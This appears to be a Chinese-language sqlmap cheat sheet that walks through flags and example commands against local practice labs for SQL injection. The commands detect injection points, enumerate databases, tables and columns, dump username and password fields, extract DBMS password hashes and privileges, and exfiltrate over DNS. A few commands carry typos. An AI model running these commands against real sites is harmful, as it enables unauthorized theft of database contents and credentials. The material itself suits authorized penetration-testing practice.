关于sqlmap使用
使用 Sqlmap 对一个注入点进行测试时,可以使用 -v x 参数指定回显信息的复杂度,x范围为[0~6],共有 7 个等级,默认为 1。
0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面。
常用命令:
-u "url" #检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容
--threads #多线程操作
--purge #刷新缓存
加快扫描速度
–dbms mysql –level 2
指定数据库类型,级别为2,共5个级别,级别越高,越准
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。
sqlmap -u 'http://192.168.220.129/sql/sql/Less-4/?id=1' -p 'id' --current-db
--skip:跳过指定参数扫描,和-p作用相反,它用来跳过需要扫描的参数
--param-exclude:不对包含具体内容参数的请求进行探测,如不对包含token和session参数的请求进行探测
sqlmap -u "url" --param-exclude="token,session"
使用星号(*)来指定注入点
sqlmap -u "http://127.0.0.1/Less-1*/?id=1" --banner
sqlmap -u "http://127.0.0.1/Less-20/?id=1" --cookie="uname=admin*" --banner
–technique 参数用来设置具体SQL注入技术
B: Boolean-based blind 基于布尔的盲注
sqlmap -u “存在注入点的URL" --technique B --current-db #利用基于布尔的盲注对注入点进行SQL注入探测。
E:Error-based 报错注入
U:Union query-based Union查询注入
S:Stacked queries 堆叠注入
T:Time-based blind 基于时间的盲注
Q:lnline queries 内联查询注入
1、sqlmap设置时间盲注延迟时间
sqlmap -u "存在注入点的URL" --time-sec 3 --current-db
2、sqlmap设置UNION字段数
sqlmap -u “存在注入的URL" --union-cols 12-18 --current-db
3、sqlmap设置union查询表
sqlmap -u “存在注入的URL" --technique u --union-form users --current-db -v3
4、sqlmap设置DNS攻击
定义:通过设置DNS流量来突破限制 --dns-domain "dns服务器" 需要用户自身具有一个开放53端口的DNS服务器,通过DNS流量来获得web应用程序中数据内容。
5、sqlmap设置二次注入
sqlmap中可以设置二次注入的结果页面
sqlmap -u "存在注入的URL" --second-order
6、sqlmap识别指纹
sqlmap -u "存在注入的URL" --fingerprint -f
探测目标指纹信息(--fingerprint -f)
7、sqlmap检索DBMS Banner
获取后端数据库Banner信息 --banner 或者 -b
8、sqlmap检索DBMS当前用户
获取DBMS当前用户 --current-user
9、sqlmap检索DBMS当前数据库
获取当前数据库名 --current-db
10、sqlmap检索DBMS当前 主机名
--hostname
11、sqlmap探测当前用户DBA
--is-dba 探测当前用户是否是数据库管理员
12、sqlmap 枚举DBMS用户名
--user 获取DBMS所有用户
13、sqlmap枚举DBMS的用户名密码 --password 获取用户名密码
mysql -h IP地址 -u root -p #MySQL数据库登录
14、sqlmap枚举DBMS权限 --privileges--role(角色)
sqlmap -u "存在注入的URL" --technique -u -v3 --batch --privileges
15、sqlmap列举数据库名
--dbs 列举数据库名称
16、--tables 枚举表名 --> 制定具体数据库 -D 数据库名 sqlmap枚举数据库表
--exclude-sysdbs
(1)sqlmap -u "存在注入的URL" -D 数据库名 --tables
(2)sqlmap -u "存在注入的URL" --tables --exclude-sysdbs
17、sqlmap枚举数据表列 --columns -D 指定数据库 -T 指定数据表 -C 指定具体字段
sqlmap -u "存在注入的URL地址" -D 数据库名 -T 用户名 --columns
18、sqlmap枚举数据值 --dump
sqlmap -u "存在注入的URL地址" -D 数据库名 -T 表名 -C “username,password" --dump
19、sqlmap枚举schema信息
定义:用户可以使用此开关--schema检索DBMS模式。模式列表将所有的数据库、表和列,以及它们各自的类型。与--exclude-sysdb结合使用时,只会检索和显示包含非系统数据库的模式的一部分
例如:sqlmap -u "存在注入的URL地址" --schema--batch --exclude-sysdbs
20、--count sqlmap检索数据表的数量,如果用户只想知道表中的条目数,则可以使用此开关。
例如:sqlmap -u "存在注入的URL地址" --count -D testdb